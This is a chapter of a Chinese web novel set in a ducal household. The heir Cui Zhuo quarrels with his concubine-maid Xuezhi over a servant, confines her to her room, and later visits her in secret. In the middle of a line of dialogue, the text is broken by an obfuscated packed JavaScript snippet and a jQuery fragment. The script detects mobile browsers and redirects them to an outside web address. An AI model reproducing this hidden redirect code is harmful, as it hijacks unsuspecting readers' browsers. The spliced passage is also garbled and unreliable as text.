他竟然忘了还有避子汤这回事,他这是怎么了?
崔濯不知道自己如今的心情算什么,庆幸也不算庆幸,甚至隐隐有一丝失落之感。
但被他很快掐去了。
他只是不轻不重地嗯了一声。
雪枝对他情深义重,他并非不知晓,只是他幼年见惯了父亲屋内各种妻妾相争,闹得家中乌烟瘴气鸡犬不宁,便立志此生有一正妻便罢,不必再有其他女人左右掺和。
而雪枝……是个意外。
若是日后正妻进门,她愿意出府嫁人,他也愿意成全她,为她备一笔丰厚的嫁妆,若是不愿……
崔濯此时也想不出若她不愿该如何,左右此时思虑为时尚早,他暂时没有娶妻的打算。
崔濯的眸色柔和一瞬,道:“吃饭吧。”
崔濯听闻她喝了避子汤后,便对她温和不少,雪枝心想他必是对此事极为满意的,只是苦了雪枝,那避子汤真是苦得很,她可不愿意每次过后都喝那东西。
但为了不怀孕,却不得不喝。
雪枝面上不动声色地伺候崔濯用饭,又服侍他午睡,等到上值的时辰,又送崔濯离开。
忙得如同一个小陀螺,直到崔濯走了,才有片刻喘息的机会。
雪枝实在不明白,国公府里那些姨娘们,为什么要抢破头去服侍国公爷,这来一趟就得忙成这样,要是天天来,那她岂不是要累死了?
雪枝原本以为崔濯就来中午这一趟,没想到晚上竟然也准时回来用饭了,西厢房的伙食一下子上了好几个水准。
不止今天,一连四五天,崔濯都到雪枝房里用饭歇息,白日里国公夫人又天天找她聊天,弄得雪枝忙得团团转,整个人都消瘦了不少。
雪枝叹了口气,想起这些时日崔濯待她也还算和煦,或许可以把巧云的事情提一提,兴许能有转机。
今日晚膳,雪枝殷勤地服侍着崔濯用膳,“世子爷,这个鸡丝汤厨房炖了三个时辰,醇香入味,世子爷尝尝。”
崔濯舀了一勺喝,“确实不错,你也喝。”
雪枝觑着崔濯的神色,舀了汤小口小口地喝。
崔濯道:“有什么话便说。”
雪枝抿唇:“世子爷,妾身有件事情想求您。”
“说。”
“我这西厢房里,人手也有些少,平素里我一个人,和两个丫头,也忙活不过来,我听闻,从前院子里有个叫巧云的丫头,做得一手好菜,世子爷近日回府来用膳,妾身想着若能有个手艺好的丫头帮衬,也能叫世子爷吃得舒心些。”雪枝斟酌着说道,“前些时日巧云犯错,已经被罚去做洒扫了,如今罚也罚了,她也知道错了,爷何不高抬贵手,饶过她一回?”
崔濯手一顿,哐当一下,勺子从指尖滑落到碗底。
“你想要人?”
雪枝点头。
崔濯脸上的温和瞬间收了回去,捏住雪枝的下巴强迫她抬起头,眼神阴鸷,“你如今使唤着两个丫头,比姨娘的规格都高,还晓得自己的身份吗?”
雪枝吃痛,眼泪一瞬间就涌了出来,“爷......”
崔濯乍一见雪枝的泪,心头便是一颤,几乎有一瞬间要心软了,但很快又被抹去。
“你还知道我是爷?”崔濯冷笑:“日日去夫人那里请安,倒是勤快,巧云怎么没去夫人院子里呢?”
雪枝不是没想过巧云会不会是夫人安插的眼线,但她才不到十岁,哪里懂得探听消息?
“世子爷,我......”
“好了,”崔濯厉声打断,“你这几日便待在西厢房里好好歇着,哪儿也不准去。”
崔濯登时起身,头也不回地走了,生怕下一刻见着雪枝的眼泪就要心软。
他这几日当真是昏了头了,竟频频来见这个卑微的通房丫头,还在她这里用膳歇息,简直是比正房还像是他自己的房间。
崔濯拂袖而去之后不久,碧霞也被调离,只留烟霞一个伺候着雪枝,雪枝也出不去,只能闷在屋里做针线。
所幸她也不是喜欢闹腾的人,没有旁人在场,她也能自得其乐地做针线。
前些时日琢磨的几个绣样,碍于崔濯天天来,她也没时间配色勾勒,如今正好闲下来了,也能够好好想想该怎么做。
雪枝也不会别的,日后出府也得有自己的谋生手段,或许靠卖绣品能够解一时之困,但是绣品人人可绣,以她现在的水准,还做不到不可替代,要长久地养活自己,还是得靠层出不穷的绣样。
烟霞去接了午膳回来,见雪枝还在那里绣,欲言又止道:“姑娘,您也得想想,怎么挽回世子爷,如今外头的人都在说,您触怒了世子爷,要失宠了,如今膳房送来的饭菜更敷衍了。”
烟霞从食盒里拿出一盘粗面馒头和一盘青黄相间的菠菜。
雪枝放下绣绷,净了手坐到桌前,拿了一个馒头,掰了一块放在口中细细嚼,笑道:“这也不难吃,你也别排斥,寻常百姓家里,都吃这些呢。”
烟霞道:“奴婢只是觉得,以姑娘的身份,不该吃这些寻常百姓家里的东西,这也太苦了姑娘了。”
雪枝自嘲:“我算什么身份,寻常百姓人家好歹还是自由人,我呢,却只能在这四四方方的公府里,看着别人的脸色过日子。”
烟霞瞧着她心灰意冷的模样,以为她被崔濯伤透了心,才说出这般灰心的话,宽慰道:“姑娘还年轻,如今院子里只有姑娘一个,世子爷也只是一时之气,姑娘说两句软化,世子爷兴许就回心转意了。”
雪枝有时想着这样也挺好,崔濯不喜爱她,等到主母进门,她自然能走,可一时又想,若是主母“贤良淑德”,非要留她在身边做样子,那她岂不是一辈子蹉跎在这里?
命运还是要靠自己去搏的,她想要为自己搏一个能自己做主的前程。
崔濯她必然是要去示好的,只是现在还不到时候。
雪枝给她拿了个馒头,也没答烟霞的话,笑着招呼她:“坐下吃饭吧。”
烟霞忙道不敢。
雪枝不由分说拉着她坐下,“我们是一样的人,有什么不敢的?”
烟霞默默低头,揩掉眼角的一滴泪。
雪枝佯装没看见,和烟霞一起分了饭菜。
夜幕降临,崔濯的书房里起了灯。
褚墨呈给他一份密函。
“近日吏部百官述职,江南那边有了动作,主子可要派人跟着吗?”
崔濯颔首道:“不必打草惊蛇,一路跟进便是,若是被发现,及早撤回,不必留恋。”
“是,今早李家传书到府,说李家七公子孝期将过,要随李巡抚一同来京,商议与四小姐的婚事,李家还说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244769|197835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,四公子有功名在身,孝期后吏部授官,还有李巡抚下期任职,还请爷多费心。”
崔濯神色淡淡,“李家想要个什么官?”
褚墨道:“信上并未明言。”
崔濯不辨喜怒地嗯了声,让人琢磨不出他对李家的态度,“把李家要来京的事情告知夫人,作为姻亲,府中不能失了礼数。”
褚墨有说了些要紧的公务,才问道:“主子今夜还歇在外院书房吗?”
崔濯气笑:“你也敢来管爷的事情?”
褚墨像是一块没有情绪的木头,被崔濯骂了也只会硬邦邦道:“属下只是希望主子给个准信,好安排主子就寝。”
崔濯挥手把他打发走:“就住这儿!”
褚墨领命下去安排,只留下崔濯一个人在书房,提起笔对着半张白纸,却是一个字也没落下去。
他已经冷落了雪枝五日了,可据清珩院的下人来报,她跟个没事人似的,整日里就知道捧着她那个绣样绣花,完全没有着急要找他认错的意思,就算厨房给她的菜越来越敷衍,她也能笑着把东西咽下去,身旁只有一个不会说话的烟霞,也能自得其乐。
分明是有他没他都一样。
这个小骗子,竟还敢说对他情根深种?!竟然还说会永远站在他这一边?
崔濯气得把笔丢进笔洗里。
崔濯越想越气,凭什么自己因为在意她不能回清珩院就寝?他偏要回去,这个女人根本没什么能够影响到他的!
崔濯喊了褚墨进来,道:“爷要回清珩院歇息,你安排。”
褚墨:“……是。”
月上中天,崔濯回到清珩院的时候,西厢房已经吹了灯。
崔濯回正房的脚步一顿,拐了个弯往西厢房去。
守夜的烟霞吓了一跳,起身想请安却被崔濯命令噤声。
屋里只剩下一盏昏暗的灯烛。
崔濯悄无声息地走过去,撩开纱幔,雪枝安安静静地阖目躺在那里,呼吸均匀绵长,仿佛一尊莹白玉瓷。
她睡得不甚安稳,脸色苍白,眉头紧锁,眼睫上沾着泪珠。
崔濯粗粝的指腹抹去她脸上的泪,轻声叹:“怎么这么爱哭。”
一看到雪枝的泪,崔濯就不由自主地心软。
罢了,不过一个下人,就算是夫人安插的眼线又如何,这么多年也没掀起什么风浪来,既然她喜欢,就给她便是,何必小题大做的。
崔濯给她掖了掖被角,轻手轻脚地离开了。
崔濯招来烟霞,责问道:“平日里是怎么伺候你们主子的,好不容易养出来的肉,如今半分也没了。”
烟霞吓得跪地,“世子爷息怒,姑娘平时胃口不好,厨房见姑娘失宠,便对姑娘越来越敷衍,姑娘不让奴婢同旁人理论,有苦也自己咽下。”
“姑娘平日里总是一个人做针线,都是给世子爷做的,姑娘心里一直盼望着世子爷能够来看她的。”
崔濯心念一动,“给我做的?”
烟霞连忙道:“是!姑娘的笸箩里藏着两双袜子,本来前些时日还想着去库房挑匹料子给世子爷裁中衣,只是世子爷把姑娘禁足了,便搁置了。”
崔濯嘴角微翘。
“不必告诉她,我今夜来过。”
西厢房内,雪枝瞧着屋外远去的人影,轻轻合上眼眸。